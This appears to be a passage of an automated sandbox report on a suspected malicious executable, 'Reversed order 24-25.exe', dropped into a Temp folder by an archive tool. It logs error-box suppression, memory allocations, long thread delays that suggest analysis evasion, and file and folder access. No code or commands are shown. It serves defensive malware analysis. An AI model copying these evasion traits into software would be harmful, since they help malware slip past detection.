Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\Chrom.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 6E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 2830000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: B80000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Memory allocated: 14F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Memory allocated: 3010000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Memory allocated: 2D30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Memory allocated: 900000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Memory allocated: 2480000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Memory allocated: 4480000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Window / User API: threadDelayed 1565
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Window / User API: threadDelayed 8235
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Window / User API: threadDelayed 886

Source: C:\Windows\SysWOW64\unarchiver.exe TID: 1020	Thread sleep count: 314 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 1020	Thread sleep time: -157000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -35971150943733603s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99877s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99761s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99285s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99102s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -98988s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -98872s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -98756s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -98633s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -98525s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -98407s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -98284s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -98164s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -98051s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -97924s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -97812s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -97675s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -97549s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -97438s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -97300s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -97181s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -97063s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -96695s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -96567s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -96448s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -96332s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -96208s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -96089s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -95979s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -95871s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -95754s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -95629s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -95504s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -95391s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -95231s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -95122s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -94989s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -94863s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -94746s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -94625s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -94472s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -94326s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -94214s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -94109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99871s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99764s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99645s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99522s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99411s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99299s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99175s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 7208	Thread sleep time: -99049s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -200000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9880	Thread sleep count: 886 > 30
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -99532s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -99110s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -98422s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -98094s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -97907s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -97756s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -97579s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -97360s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -97078s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -96746s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -96371s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -95917s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -95594s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -95368s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -95048s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -94688s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -94501s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -99478s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -99234s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -99031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -98890s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 5236	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -98772s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -98500s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -98140s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -97828s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -97562s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -97312s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -97090s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -96843s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -96609s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -96436s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -96140s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -96001s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -95823s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe TID: 9756	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\SysWOW64\unarchiver.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\unarchiver.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99877
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99761
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99285
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99102
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98988
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98872
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98756
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98633
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98525
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98407
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98284
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98164
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98051
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97924
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97812
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97675
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97549
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97438
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97300
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97181
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97063
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96695
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96567
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96448
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96332
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96208
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96089
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95979
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95871
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95754
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95629
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95504
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95391
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95231
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95122
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 94989
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 94863
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 94746
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 94625
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 94472
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 94326
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 94214
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 94109
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99871
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99764
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99645
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99522
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99411
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99299
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99175
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99049
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99532
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99110
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98422
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98094
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97907
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97756
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97579
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97360
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97078
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96746
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96371
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95917
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95594
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95368
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95048
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 94688
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 94501
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99478
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99234
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 99031
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98890
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98772
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98500
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 98140
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97828
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97562
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97312
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 97090
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96843
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96609
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96436
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96140
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 96001
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 95823
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\windown.bat
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	File opened: C:\Users\user\AppData\Local

